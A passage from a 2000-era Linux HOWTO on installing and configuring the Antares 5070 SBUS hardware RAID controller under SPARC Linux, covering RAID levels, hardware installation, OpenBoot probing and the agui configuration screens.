  • 13.19 ENV- environment variables file system
  • 13.20 ENVIRON - RaidRunner Global environment variables - names and effects
  • 13.21 EXEC - cause arguments to be executed in place of this shell
  • 13.22 EXIT - exit a K9 process
  • 13.23 EXPR - evaluation of numeric expressions
  • 13.24 FALSE - returns the K9 false status
  • 13.25 FIFO - bi-directional fifo buffer of fixed size
  • 13.26 GET - select one value from list
  • 13.27 GETIV - get the value an internal RaidRunner variable
  • 13.28 HELP - print a list of commands and their synopses
  • 13.29 HUSKY - shell for K9 kernel
  • 13.30 HWCONF - print various hardware configuration details
  • 13.31 HWMON - monitoring daemon for temperature, fans, PSUs.
  • 13.32 INTERNALS - Internal variables used by RaidRunner to change dynamics of
  • 13.33 KILL - send a signal to the nominated process
  • 13.34 LED- turn on/off LED's on RaidRunner
  • 13.35 LFLASH- flash a led on RaidRunner
  • 13.36 LINE - copies one line of standard input to standard output
  • 13.37 LLENGTH - return the number of elements in the given list
  • 13.38 LOG - like zero with additional logging of accesses
  • 13.39 LRANGE - extract a range of elements from the given list
  • 13.40 LS - list the files in a directory
  • 13.41 LSEARCH - find the a pattern in a list
  • 13.42 LSUBSTR - replace a character in all elements of a list
  • 13.43 MEM - memory mapped file (system)
  • 13.44 MDEBUG - exercise and display statistics about memory allocation
  • 13.45 MKDIR - create directory (or directories)
  • 13.46 MKDISKFS - script to create a disk filesystem
  • 13.47 MKHOSTFS - script to create a host port filesystem
  • 13.48 MKRAID - script to create a raid given a line of output of rconf
  • 13.49 MKRAIDFS - script to create a raid filesystem
  • 13.50 MKSMON - script to start the scsi monitor daemon smon
  • 13.51 MKSTARGD - script to initialize a scsi target daemon for a given raid set
  • 13.52 MSTARGD - monitor for stargd
  • 13.53 NICE - Change the K9 run-queue priority of a K9 process
  • 13.54 NULL- file to throw away output in
  • 13.55 PARACC - display information about hardware parity accelerator
  • 13.56 PEDIT - Display/modify SCSI backend Mode Parameters Pages
  • 13.57 PIPE - two way interprocess communication
  • 13.58 PRANKS - print or set the accessible backend ranks for the current controller
  • 13.59 PRINTENV - print one or all GLOBAL environment variables
  • 13.60 PS - report process status
  • 13.61 PSCSIRES - print SCSI-2 reservation table for all or specific monikers
  • 13.62 PSTATUS - print the values of hardware status registers
  • 13.63 RAIDACTION- script to gather/reset stats or stop/start a raid set's stargd
  • 13.64 RAID0 - raid 0 device
  • 13.65 RAID1 - raid 1 device
  • 13.66 RAID3 - raid 3 device
  • 13.67 RAID4 - raid 4 device
  • 13.68 RAID5 - raid 5 device
  • 13.69 RAM - ram based file system
  • 13.70 RANDIO - simulate random reads and writes
  • 13.71 RCONF, SPOOL, HCONF, MCONF, CORRUPT-CONFIG - raid configuration and spares
  • 13.72 REBOOT - exit K9 on target hardware + return to monitor
  • 13.73 REBUILD - raid set reconstruction utility
  • 13.74 REPAIR - script to allocate a spare to a raid set's failed backend
  • 13.75 REPLACE - script to restore a backend in a raid set
  • 13.76 RM - remove the file (or files)
  • 13.77 RMON - Power-On Diagnostics and Bootstrap
  • 13.78 RRSTRACE - disassemble scsihpmtr monitor data
  • 13.79 RSIZE - estimate the memory usage for a given raid set
  • 13.80 SCN2681 - access a scn2681 (serial IO device) as console
  • 13.81 SCSICHIPS - print various details about a controller's scsi chips
  • 13.82 SCSIHD - SCSI hard disk device (a SCSI initiator)
  • 13.83 SCSIHP - SCSI target device
  • 13.84 SET - set (or clear) an environment variable
  • 13.85 SCSIHPMTR - turn on host port debugging
  • 13.86 SETENV - set a GLOBAL environment variable
  • 13.87 SDLIST - Set or display an internal list of attached disk drives
  • 13.88 SETIV - set an internal RaidRunner variable
  • 13.89 SHOWBAT - display information about battery backed-up ram
  • 13.90 SHUTDOWN - script to place the RaidRunner into a shutdown or quiescent
  • 13.91 SLEEP - sleep for the given number of seconds
  • 13.92 SMON - RaidRunner SCSI monitor daemon
  • 13.93 SOS - pulse the buzzer to emit sos's
  • 13.94 SPEEDTST - Generate a set number of sequential writes then reads
  • 13.95 SPIND - Spin up or down a disk device
  • 13.96 SPINDLE - Modify Spindle Synchronization on a disk device
  • 13.97 SRANKS - set the accessible backend ranks for a controller
  • 13.98 STARGD - daemon for SCSI-2 target
  • 13.99 STAT - get status information on the named files (or stdin)
  • 13.100 STATS - Print cumulative performance statistics on a Raid Set or Cache
  • 13.101 STRING - perform a string operation on a given value
  • 13.102 SUFFIX - Suffixes permitted on some big decimal numbers
  • 13.103 SYSLOG - device to send system messages for logging
  • 13.104 SYSLOGD - initialize or access messages in the system log area
  • 13.105 TEST - condition evaluation command
  • 13.106 TIME - Print the number of seconds since boot (or reset of clock)
  • 13.107 TRAP - intercept a signal and perform some action
  • 13.108 TRUE - returns the K9 true status
  • 13.109 STTY or TTY - print the user's terminal mount point or terminfo status
  • 13.110 UNSET - delete one or more environment variables
  • 13.111 UNSETENV - unset (delete) a GLOBAL environment variable
  • 13.112 VERSION - print out the version of the RaidRunner kernel
  • 13.113 WAIT - wait for a process (or my children) to terminate
  • 13.114 WARBLE - periodically pulse the buzzer
  • 13.115 XD- dump given file(s) in hexa-decimal to standard out
  • 13.116 ZAP - write zeros to a file
  • 13.117 ZCACHE - Manipulate the zone optimization IO table of a Raid Set's cache
  • 13.118 ZERO - file when read yields zeros continuously
  • 13.119 ZLABELS - Write zeros to the front and end of Raid Sets

14. Advanced Topics: SCSI Monitor Daemon (SMON)

15. Further Reading


Antares-RAID-sparcLinux-HOWTO: Preamble

 Next Previous Contents

1. Preamble

Copyright 2000 by Thomas D. Coates, Jr. This document's source is licensed under the terms if the GNU general public license agreement. Permission to use, copy, modify, and distribute this document without fee for any purpose commercial or non-commercial is hereby granted, provided that the author's names and this notice appear in all copies and/or supporting documents; and that the location where a freely available unmodified version of this document may be obtained is given. This document is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY, either expressed or implied. While every effort has been taken to ensure the accuracy of the information documented herein, the author(s)/editor(s)/maintainer(s)/contributor(s) assumes NO RESPONSIBILITY for any errors, or for any damages, direct or consequential, as a result of the use of the information documented herein. A complete copy of the GNU Public License agreement may be obtained from: Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. Portions of this document are adapted and/or re-printed from the 5070 installation guide and man pages with permission of Antares Microsystems, Inc., Campbell CA.


Antares-RAID-sparcLinux-HOWTO: Acknowledgements and Thanks

 Next Previous Contents

2. Acknowledgements and Thanks

  • Carl and Jim at Antares for the hardware, man pages, and other support/contributions they provided during the writing of this document.
  • Penn State University - Hershey Medical Center, Department of Radiology, Section of Clinical Image Management (My home away from my home away from home).
  • The software-raid-HOWTO Copyright 1997 by Linas Vepstas under the GNU public license agreement. The software-raid-HOWTO is Available from : http://www.linuxdoc.org


Antares-RAID-sparcLinux-HOWTO: New Versions

 Next Previous Contents

3. New Versions

  • The most recent version of this document can be found at my homepage: http://www.xray.hmc.psu.edu/~tcoates/
  • Other versions may be found in different formats at the LDP homepage: http://www.linuxdoc.org and mirror sites.


Antares-RAID-sparcLinux-HOWTO: Introduction

 Next Previous Contents

4. Introduction

The Antares 5070 is a high performance, versatile, yet relatively inexpensive host based RAID controller. Its embedded operating system (K9 kernel) is modelled on the Plan 9 operating system whose design is discussed in several papers from AT&T (see the "Further Reading" section). K9 is a kernel targeted at embedded controllers of small to medium complexity (e.g. ISDN-ethernet bridges, RAID controllers, etc). It supports multiple lightweight processes (i.e. without memory management) on a single CPU with a non-pre-emptive scheduler. Device driver architecture is based on Plan 9 (and Unix SVR4) streams. Concurrency control mechanisms include semaphores and signals.

The 5070 has three single ended ultra 1 SCSI channels and two onboard serial interfaces one of which provides command line access via a connected serial terminal or modem. The other is used to upgrade the firmware. The command line is robust, implementing many of the essential Unix commands (e.g. dd, ls, cat, etc.) and a scaled down Bourne shell for scripting. The Unix command set is augmented with RAID specific configuration commands and scripts. In addition to the command line interface an ASCII text based GUI is provided to permit easy configuration of level 0, 1, 3, 4, and 5 RAIDs.

4.1 5070 Main Features

  • RAID levels 0, 1, 3, 4, and 5 are supported.
  • Text based GUI for easy configuration for all supported RAID levels.
  • A Multidisk RAID volume appears as an individual SCSI drive to the operating system and can be managed with the standard utilities (fdisk, mkfs, fsck,etc.). RAID Volumes may be assigned to different SCSI IDs or the same SCSI IDs but different LUNs.
  • No special RAID drivers required for the host operating system.
  • Multiple RAID volumes of different levels can be mixed among the drives forming the physical plant. For example in a hypothetical drive plant consisting of 9 drives:
    • 2 drives form a level 3 RAID assigned to SCSI ID 5, LUN 0
    • 2 drives form a level 0 RAID assigned to SCSI ID 5, LUN 1
    • 5 drives form a level 5 RAID assigned to SCSI ID 6, LUN 0
  • Three single ended SCSI channels which can accommodate 6 drives each (18 drives total).
  • Two serial interfaces. The first permits configuration/control/monitoring of the RAID from a local serial terminal. The second serial port is used to upload new programming into the 5070 (using PPP and TFTP).
  • Robust Unix-like command line and NVRAM based file system.
  • Configurable ASCII SCSI communication channel for passing commands to the 5070's command line interpreter. Allows programming running on host OS to directly configure/control/monitor all parameters of the 5070.


Antares-RAID-sparcLinux-HOWTO: Background

 Next Previous Contents

5. Background

Much of the information/knowledge pertaining to RAID levels in this section is adapted from the software-raid-HOWTO by Linas Vepstas . See the acknowledgements section for the URL where the full document may be obtained.

RAID is an acronym for "Redundant Array of Inexpensive Disks" and is used to create large, reliable disk storage systems out of individual hard disk drives. There are two basic ways of implementing a RAID, software or hardware. The main advantage of a software RAID is low cost. However, since the OS of the host system must manage the RAID directly there is a substantial penalty in performance. Furthermore if the RAID is also the boot device, a drive failure could prove disastrous since the operating system and utility software needed to perform the recovery is located on the RAID. The primary advantages of hardware RAID is performance and improved reliability. Since all RAID operations are handled by a dedicated CPU on the controller, the host system's CPU is never bothered with RAID related tasks. In fact the host OS is completely oblivious to the fact that its SCSI drives are really virtual RAID drives. When a drive fails on the 5070 it can be replaced on-the-fly with a drive from the spares pool and its data reconstructed without the host's OS ever knowing anything has happened.

5.1 Raid Levels

The different RAID levels have different performance, redundancy, storage capacity, reliability and cost characteristics. Most, but not all levels of RAID offer redundancy against drive failure. There are many different levels of RAID which have been defined by various vendors and researchers. The following describes the first 7 RAID levels in the context of the Antares 5070 hardware RAID implementation.

5.2 RAID Linear

RAID-linear is a simple concatenation of drives to create a larger virtual drive. It is handy if you have a number small drives, and wish to create a single, large drive. This concatenation offers no redundancy, and in fact decreases the overall reliability: if any one drive fails, the combined drive will fail.

SUMMARY

  • Enables construction of a large virtual drive from a number of smaller drives
  • No protection, less reliable than a single drive
  • RAID 0 is a better choice due to better I/O performance

5.3 Level 1

Also referred to as "mirroring". Two (or more) drives, all of the same size, each store an exact copy of all data, disk-block by disk-block. Mirroring gives strong protection against drive failure: if one drive fails, there is another with the an exact copy of the same data. Mirroring can also help improve performance in I/O-laden systems, as read requests can be divided up between several drives. Unfortunately, mirroring is also one of the least efficient in terms of storage: two mirrored drives can store no more data than a single drive.

SUMMARY

  • Good read/write performance
  • Inefficient use of storage space (half the total space available for data)
  • RAID 6 may be a better choice due to better I/O performance.

5.4 Striping

Striping is the underlying concept behind all of the other RAID levels. A stripe is a contiguous sequence of disk blocks. A stripe may be as short as a single disk block, or may consist of thousands. The RAID drivers split up their component drives into stripes; the different RAID levels differ in how they organize the stripes, and what data they put in them. The interplay between the size of the stripes, the typical size of files in the file system, and their location on the drive is what determines the overall performance of the RAID subsystem.

5.5 Level 0

Similar to RAID-linear, except that the component drives are divided into stripes and then interleaved. Like RAID-linear, the result is a single larger virtual drive. Also like RAID-linear, it offers no redundancy, and therefore decreases overall reliability: a single drive failure will knock out the whole thing. However, the 5070 hardware RAID 0 is the fastest of any of the schemes listed here.

SUMMARY:

  • Use RAID 0 to combine smaller drives into one large virtual drive.
  • Best Read/Write performance of all the schemes listed here.
  • No protection from drive failure.
  • ADVICE: Buy very reliable hard disk drives if you plan to use this scheme.

5.6 Level 2 and 3

RAID-2 is seldom used anymore, and to some degree has been made obsolete by modern hard disk technology. RAID-2 is similar to RAID-4, but stores ECC information instead of parity. Since all modern disk drives incorporate ECC under the covers, this offers little additional protection. RAID-2 can offer greater data consistency if power is lost during a write; however, battery backup and a clean shutdown can offer the same benefits. RAID-3 is similar to RAID-4, except that it uses the smallest possible stripe size.

SUMMARY

  • RAID 2 is largely obsolete
  • Use RAID 3 to combine separate drives together into one large virtual drive.
  • Protection against single drive failure,
  • Good read/write performance.

5.7 Level 4

RAID-4 interleaves stripes like RAID-0, but it requires an additional drive to store parity information. The parity is used to offer redundancy: if any one of the drives fail, the data on the remaining drives can be used to reconstruct the data that was on the failed drive. Given N data disks, and one parity disk, the parity stripe is computed by taking one stripe from each of the data disks, and XOR'ing them together. Thus, the storage capacity of a an (N+1)-disk RAID-4 array is N, which is a lot better than mirroring (N+1) drives, and is almost as good as a RAID-0 setup for large N. Note that for N=1, where there is one data disk, and one parity disk, RAID-4 is a lot like mirroring, in that each of the two disks is a copy of each other. However, RAID-4 does NOT offer the read-performance of mirroring, and offers considerably degraded write performance. In brief, this is because updating the parity requires a read of the old parity, before the new parity can be calculated and written out. In an environment with lots of writes, the parity disk can become a bottleneck, as each write must access the parity disk.

SUMMARY

  • Similar to RAID 0
  • Protection against single drive failure.
  • Poorer I/O performance than RAID 3
  • Less of the combined storage space is available for data [than RAID 3] since an additional drive is needed for parity information.

5.8 Level 5

RAID-5 avoids the write-bottleneck of RAID-4 by alternately storing the parity stripe on each of the drives. However, write performance is still not as good as for mirroring, as the parity stripe must still be read and XOR'ed before it is written. Read performance is also not as good as it is for mirroring, as, after all, there is only one copy of the data, not two or more. RAID-5's principle advantage over mirroring is that it offers redundancy and protection against single-drive failure, while offering far more storage capacity when used with three or more drives.

SUMMARY

  • Use RAID 5 if you need to make the best use of your available storage space while gaining protection against single drive failure.
  • Slower I/O performance than RAID 3


Antares-RAID-sparcLinux-HOWTO: Installation

 Next Previous Contents

6. Installation

NOTE: The installation procedure given here for the SBUS controller is similar to that found in the manual. It has been modified so minor variations in the SPARCLinux installation may be included.

6.1 SBUS Controller Compatibility

The 5070 / Linux 2.2 combination was tested on SPARCstation (5, 10, & 20), Ultra 1, and Ultra 2 Creator. The 5070 was also tested on Linux with Symmetrical Multiprocessing (SMP) support on a dual processor Ultra 2 creator 3D with no problems. Other 5070 / Linux / hardware combinations may work as well.

6.2 Hardware Installation Procedure

If your system is already up and running, you must halt the operating system.

GNOME:

  1. From the login screen right click the "Options" button.
  2. On the popup menu select System -> Halt.
  3. Click "Yes" when the verification box appears

KDE:

  1. From the login screen right click shutdown.
  2. On the popup menu select shutdown by right clicking its radio button.
  3. Click OK

XDM:

  1. login as root
  2. Left click on the desktop to bring up the pop-up menu
  3. select "New Shell"
  4. When the shell opens type "halt" at the prompt and press return

Console Login (systems without X windows):

  1. Login as root
  2. Type "halt"

All Systems:

Wait for the message "power down" or "system halted" before proceeding. Turn off your SPARCstation system (Note: Your system may have turned itself off following the power down directive), its video monitor, external disk expansion boxes, and any other peripherals connected to the system. Be sure to check that the green power LED on the front of the system enclosure is not lit and that the fans inside the system are not running. Do not disconnect the system power cord.

SPARCstation 4, 5, 10, 20 & UltraSPARC Systems:

  1. Remove the top cover on the CPU enclosure. On a SPARCstation 10, this is done by loosening the captive screw at the top right corner of the back of the CPU enclosure, then tilting the top of the enclosure forward while using a Phillips screwdriver to press the plastic tab on the top left corner.
  2. Decide which SBUS slot you will use. Any slot will do. Remove the filler panel for that slot by removing the two screws and rectangular washers that hold it in.
  3. Remove the SBUS retainer (commonly called the handle) by pressing outward on one leg of the retainer while pulling it out of the hole in the printed circuit board.
  4. Insert the board into the SBUS slot you have chosen. To insert the board, first engage the top of the 5070 RAIDium backpanel into the backpanel of the CPU enclosure, then rotate the board into a level position and mate the SBUS connectors. Make sure that the SBUS connectors are completely engaged.
  5. Snap the nylon board retainers inside the SPARCstation over the 5070 RAIDium board to secure it inside the system.
  6. Secure the 5070 RAIDium SBUS backpanel to the system by replacing the rectangular washers and screws that held the original filler panel in place.
  7. Replace the top cover by first mating the plastic hooks on the front of the cover to the chassis, then rotating the cover down over the unit until the plastic tab in back snaps into place. Tighten the captive screw on the upper right corner.

Ultra Enterprise Servers, SPARCserver 1000 &amp; 2000 Systems, SPARCserver 6XO MP Series:

  1. Remove the two Allen screws that secure the CPU board to the card cage. These are located at each end of the CPU board backpanel.
  2. Remove the CPU board from the enclosure and place it on a static-free surface.
  3. Decide which SBUS slot you will use. Any slot will do. Remove the filler panel for that slot by removing the two screws and rectangular washers that hold it in. Save these screws and washers.
  4. Remove the SBUS retainer (commonly called the handle) by pressing outward on one leg of the retainer while pulling it out of the hole in the printed circuit board.
  5. Insert the board into the SBUS slot you have chosen. To insert the board, first engage the top of the 5070 RAIDium backpanel into the backpanel of the CPU enclosure, then rotate the board into a level position and mate the SBUS connectors. Make sure that the SBUS connectors are completely engaged.
  6. Secure the 5070 RAIDium board to the CPU board with the nylon screws and standoffs provided on the CPU board. The standoffs may have to be moved so that they match the holes used by the SBUS retainer, as the standoffs are used in different holes for an MBus module. Replace the screws and rectangular washers that originally held the filler panel in place, securing the 5070 RAIDium SBus backpanel to the system enclosure.
  7. Re-insert the CPU board into the CPU enclosure and re-install the Allen-head retaining screws that secure the CPU board.

All Systems:

  1. Mate the external cable adapter box to the 5070 RAIDium and gently tighten the two screws that extend through the cable adapter box.
  2. Connect the three cables from your SCSI devices to the three 68-pin SCSI-3 connectors on the Antares 5070 RAIDium. The three SCSI cables must always be reconnected in the same order after a RAID set has been established, so you should clearly mark the cables and disk enclosures for future disassembly and reassembly.
  3. Configure the attached SCSI devices to use SCSI target IDs other than 7, as that is taken by the 5070 RAIDium itself. Configuring the target number is done differently on various devices. Consult the manufacturer's installation instructions to determine the method appropriate for your device.
  4. As you are likely to be installing multiple SCSI devices, make sure that all SCSI buses are properly terminated. This means a terminator is installed only at each end of each SCSI bus daisy chain.

Verifying the Hardware Installation:

These steps are optional but recommended. First, power-on your system and interrupt the booting process by pressing the "Stop" and "a" keys (or the "break" key if you are on a serial terminal) simultaneously as soon as the Solaris release number is shown on the screen. This will force the system to run the Forth Monitor in the system EPROM, which will display the "ok" prompt. This gives you access to many useful low-level commands, including:

ok show-devs

. . .

/iommu@f,e0000000/sbus@f,e000100SUNW, isp@1,8800000

. . .

The first line in the response shown above means that the 5070 RAIDium host adapter has been properly recognized. If you don't see a line like this, you may have a hardware problem.

Next, to see a listing of all the SCSI devices in your system, you can use the probe-scsi-all command, but first you must prepare your system as follows:

ok setenv auto-boot? False

ok reset

ok probe-scsi-all

This will tell you the type, target number, and logical unit number of every SCSI device recognized in your system. The 5070 RAIDium board will report itself attached to an ISP controller at target 0 with two Logical Unit Numbers (LUNs): 0 for the virtual hard disk drive, and 7 for the connection to the Graphical User Interface (GUI). Note: the GUI communication channel on LUN 7 is currently unused under Linux. See the discussion under "SCSI Monitor Daemon (SMON)" in the "Advanced Topics" section for more information.

REQUIRED: Perform a reconfiguration boot of the operating system:

ok boot -r

If no image appears on your screen within a minute, you most likely have a hardware installation problem. In this case, go back and check each step of the installation procedure. This completes the hardware installation procedure.

6.3 Serial Terminal

If you have a serial terminal at your disposal (e.g. DEC-VT420) it may be connected to the controller's serial port using a 9 pin DIN male to DB25 male serial cable. Otherwise you will need to supplement the above cable with a null modem adapter to connect the RAID controller's serial port to the serial port on either the host computer or a PC. The terminal emulators I have successfully used include Minicom (on Linux), Kermit (on Caldera's Dr. DOS), and Hyperterminal (on a windows CE palmtop), however, any decent terminal emulation software should work. The basic settings are 9600 baud , no parity, 8 data bits, and 1 stop bit.

6.4 Hard Drive Plant

Choosing the brand and capacity of the drives that will form the hard drive physical plant is up to you. I do have some recommendations:

  • Remember, you generally get what you pay for. I strongly recommend paying the extra money for better (i.e. more reliable) hardware especially if you are setting up a RAID for a mission critical project. For example, consider purchasing drive cabinets with redundant hot-swappable power supplies, etc.
  • You will also want a UPS for your host system and drive cabinets. Remember, RAID levels 3 and 5 protect you from data loss due to drive failure NOT power failure.
  • The drive cabinet you select should have hot swappable drive bays, these cost more but are definitely worth it when you need to add/change drives.
  • Make sure the cabinet(s) have adequate cooling when fully loaded with drives.
  • Keep your SCSI cables (internal and external) as short as possible
  • Mark the drives/cabinet(s) in such a way that you will be able to reconnect them to the controller in their original configuration. Once the RAID is configured you cannot re-organize you drives without re-configuring the RAID (and subsequently erasing the data stored on it).
  • Keep in mind that although it is physically possible to connect/configure up to 6 drives per channel, performance will sharply decrease for RAIDs with more than three drives per channel. This is due to the 25 MHz bandwidth limitation of the SBUS. Therefore, if read/write performance is an issue go with a small number of large drives. If you need a really large RAID (~ 1 terabyte) then you will have no other choice but to load the channels to capacity and pay the performance penalty. NOTE: if you are serving files over a 10/100 Base T network you may not notice the performance decrease since the network is usually the bottleneck not the SBUS.


Antares-RAID-sparcLinux-HOWTO: 5070 Onboard Configuration

 Next Previous Contents

7. 5070 Onboard Configuration

Before diving into the RAID configuration I need to define a few terms.
  • "RaidRunner" is the name given to the the 5070 controller board.
  • "Husky" is the name given to the shell which produces the ":raid;" command prompt. It is a command language interpreter that executes commands read from the standard input or from a file. Husky is a scaled down model of Unix's Bourne shell (sh). One major difference is that husky has no concept of current working directory. For more information on the husky shell and command prompt see the "Advanced Topics" section
  • The "host port" is the SCSI ID assigned to the controller card itself. This is usually ID 7.
  • A "backend" is a drive attached to the controller on a given channel.
  • A "rank" is a collection of all the backends from each channel with the same SCSI ID (i.e. rank 0 would consist of all the drives with SCSI ID 0 on each channel)
  • Each of the backends is identified by a three digit number where the first digit is the channel, the second the SCSI ID of the drive, and the third the LUN of the drive. The numbers are separated by a period. The identifier is prefixed with a "D" if it is a disk or "T" if it is a tape (e.g. D0.1.0). This scheme is referred to as <device_type_c.s.l> in the following documentation.
  • A "RAID set" consists of given number of backends (there are certain requirements which I'll come to later)
  • A "spare" is a drive which is unused until there is a failure in one of the RAID drives. At that time the damaged drive is automatically taken offline and replaced with the spare. The data is then reconstructed on the spare and the RAID resumes normal operation.
  • Spares may either be "hot" or "warm" depending on user configuration. Hot spares are spun up when the RAID is started, which shortens the replacement time when a drive failure occurs. Warm spares are spun up when needed, which saves wear on the drive.
The test based GUI can be started by typing "agui"
: raid; agui
at the husky prompt on the serial terminal (or emulator).

Agui is a simple ASCII based GUI that can be run on the RaidRunner console port which enables one to configure the RaidRunner. The only argument agui takes is the terminal type that is connected to the RaidRunner console. Current supported terminals are dtterm, vt100 and xterm. The default is dtterm.

Each agui screen is split into two areas, data and menu. The data area, which generally uses all but the last line of the screen, displays the details of the information under consideration. The menu area, which generally is the bottom line of the screen, displays a strip menu with a title then list of options or sub-menus. Each option has one character enclosed in square brackets (e.g. [Q]uit) which is the character to type to select that option. Each menu line allows you to refresh the screen data (in case another process on the RaidRunner writes to the console). The refresh character may also be used during data entry if the screen is overwritten. The refresh character is either <Control-l> or <Control-r>.

When agui starts, it reads the configuration of the RaidRunner and probes for every possible backend. As it probes for each backend, it's "name" is displayed in the bottom left corner of the screen.

7.1 Main Screen Options

Figure 1
Figure 1: Main Screen

The Main screen is the first screen displayed. It provides a summary of the RaidRunner configuration. At the top is the RaidRunner model, version and serial number. Next is a line displaying, for each controller, the SCSI ID's for each host port (labeled A, B, C, etc) and total and currently available amounts of memory. The next set of lines display the ranks of devices on the RaidRunner. Each device follows the nomenclature of <device_type_c.s.l> where device_type_ can be D for disk or T for tape, c is the internal channel the device is attached to, s is the SCSI ID (Rank) of the device on that channel, and l is the SCSI LUN of the device (typically 0).

The next set of lines provide a summary of the Raid Sets configured on the RaidRunner. The summary includes the raid set name, it's type, it's size, the amount of cache allocated to it and a comma separated list of it's backends. See rconf in the "Advanced Topics" section for a full description of the above.

Next are the spare devices configured. Each spare is named (device_type_c.s.l format), followed by it's size (in 512-byte blocks), it's spin state (Hot or Warm), it's controller allocation , and finally it's current status (Used/Unused, Faulty/Working). If used, the raid set that uses it is nominated.

At the bottom of the data area, the number of controllers, channels, ranks and devices are displayed.

The menu line allows one to quit agui or select further actions or sub-menus.

  • [Q]uit: Exit the main screen and return to the husky prompt.
  • [R]aidSets: Enter the RaidSet configuration screen.
  • [H]ostports Enter the Host Port configuration screen.
  • [S]pares Enter the Spare Device configuration screen.
  • [M]onitor Enter the SCSI Monitor configuration screen.
  • [G]eneral Enter the General configuration/information screen.
  • [P]robe Re-probe the device backends on the RaidRunner. As each backend is probed it's "name" (c.s.l format) is displayed in the bottom left corner of the screen.
These selections are described in detail below.

7.2 [Q]uit

Exit the agui main screen and return to the husky ( :raid; ) prompt.

7.3 [R]aidSets:

Figure 2
Figure 2: Raid Set Configuration Screen

The Raid Set Configuration screen displays a Raid Set in the data area and provides a menu which allows you to Add, Delete, Modify, Install (changes) and Scroll through all other raid sets (First, Last, Next and Previous). If no raid sets have been configured, only the screen title and menu is displayed. All attributes of the raid set are displayed. For information on each attribute of the raid set, see the rconf command in the "Advanced Topics" section. The menu line allows one to leave the Raid Set Configuration screen or select further actions:

  • [Q]uit: Exit the Raid Set Configuration screen and return to the Main screen. If you have modified, deleted or added a raid set and have not installed the changes you will be asked to confirm this. If you select Yes to continue the exit, all changes made since the last install action will be discarded.
  • [I]nst: This action installs (into the RaidRunner configuration area) any changes that may have been made to raid sets, be that deletion, addition or modification. If you exit prior to installing, all changes made since the last installation will be discarded. The installation process takes time. It is complete once the typed "i" character, is cleared from the menu line.
  • [M]od: This action allows you to modify the displayed raid set. You will be prompted for each Raid Set attribute that can be changed. The prompt includes allowable options or formats required. If you don't wish to change a particular attribute, then press the RETURN or TAB key. The attributes you can change are the raid set name, I/O mode, status (Active to Inactive), bootmode, spares usage, backend zone table usage, IO size (if raid set has never been used - i.e. just added), cache size, I/O queues length, host interfaces and additional stargd arguments. If you wish to change a single attribute then use the RETURN or TAB key to skip all other options. The changed attribute will be re-displayed as soon as you press the RETURN key. When specifying cache size, you may suffix the number with 'm' or 'M' to indicate the number is in Megabytes or with 'k' or 'K' to indicate the number is in Kilobytes. Note you can only enter whole integer values. When specifying io size, you may suffix the number with 'k' or 'K' to indicate the number is in Kilobytes. When you enter data, it is checked for correctness and if incorrect, a message is displayed and all changes are discarded and you will have to start again. Remember you must install ([I]nst.) any changes.
  • [A]dd: When this option is selected you will be prompted for various attributes of the new raid set. These attributes are the raid set name, the raid set type, the initial host interface the raid set is to appear on (in c.h.l format where c is the controller number, h is the host port (0, 1, 2 etc) and l is the SCSI LUN) and finally a list of backends. When backends are to be entered, the screen displays a list of available backends, each with a numeric index (commencing at 0). You select each backend by entering the index and once complete enter q for Quit. As each backend index is entered, it's backend name is displayed in a comma separated list. When you enter data, it is checked for correctness and if incorrect, a message is displayed and the addition will be ignored and you will have to start again. Once the backends are complete, the newly created raid set will be displayed on the screen with supplied and default attributes. You can then modify the raid set to change other attributes. Remember you must install ([I]nst.) any new raid sets.
  • [D]elete: This action will delete the currently displayed raid set. If this raid set is Active, then you will not be allowed to delete it. You will have to make it Inactive (via the [M]od. option) then delete it. You will be prompted to confirm the deletion. Once you confirm the deletion, the screen will be cleared and the next raid set will be displayed, if configured. Remember you must install ([I]nst.) any changes.
  • [F]irst, [L]ast, [N]ext and [P]rev allow you to scroll through the configured raid sets.

7.4 [H]ostports:

Figure 3
Figure 3: Host Port Configuration Screen

The Host Port Configuration screen displays for each controller, each host port (labelled A, B, C, etc for port number 0, 1, 2, etc) and the assigned SCSI ID. If the RaidRunner you use, has external switches for host port SCSI ID selection, you may only exit ([Q]uit) from this screen. If the RaidRunner you use, does NOT have external switches for host port SCSI ID selection, then you may modify (and hence install) the SCSI ID for any host port. The menu line allows one to leave the Host Port Configuration screen or select further actions (if NO external host):

  • [Q]uit: Exit the Host Port Configuration screen and return to the Main screen. If you have modified a host port SCSI ID assignment and have not installed the changes you will be asked to confirm this. If you select Yes to continue the exit, all changes made since the last install action will be discarded.
  • [I]nstall: This action installs (into the RaidRunner configuration area) any changes that may have been made to host port SCSI ID assign ments. If you exit prior to installing, all changes made since the last installation will be discarded. The installation process takes time. It is complete once the typed "i" character, is cleared from the menu line.
  • [M]odify: This action allows you to modify the host port SCSI ID assignments for each host port on each controller (if NO external host port SCSI ID switches). You will be prompted for the SCSI ID for each host port. You can enter either a SCSI ID (0 thru 15), the minus "-" character to clear the SCSI ID assignment or RETURN to SKIP. As you enter data, it is checked for correctness and if incorrect, a message will be printed although previously correctly entered data will be retained. Remember you must install ([I]nst.) any changes.

7.5 [S]pares:

Figure 4
Figure 4: Spare Device Configuration Screen

The Spare Device Configuration screen displays all configured spare devices in the data area and provides a menu which allows you to Add, Delete, Mod ify and Install (changes) spare devices. If no spare devices have been configured, only the screen title and menu is displayed. Each spare device displayed, shows it's name (in device_type_c.s.l format), it's size in 512-byte blocks, it's spin status (Hot or Warm), it's controller allocation, finally it's current status (Used/Unused, Faulty/Working). If used, the raid set that uses it is nominated. For information on each attribute of a spare device, see the rconf command in the "Advanced Topics" section. The menu line allows one to leave the Spare Device Configuration screen or select further actions:

  • [Q]uit: Exit the Spare Device Configuration screen and return to the Main screen. If you have modified, deleted or added a spare device and have not installed the changes you will be asked to confirm this. If you select Yes to continue the exit, all changes made since the last install action will be discarded.
  • [I]nstall: This action installs (into the RaidRunner configuration area) any changes that may have been made to the spare devices, be that deletion, addition or modification. If you exit prior to installing, all changes made since the last installation will be discarded. The installation process takes time. It is complete once the typed "i" character, is cleared from the menu line.
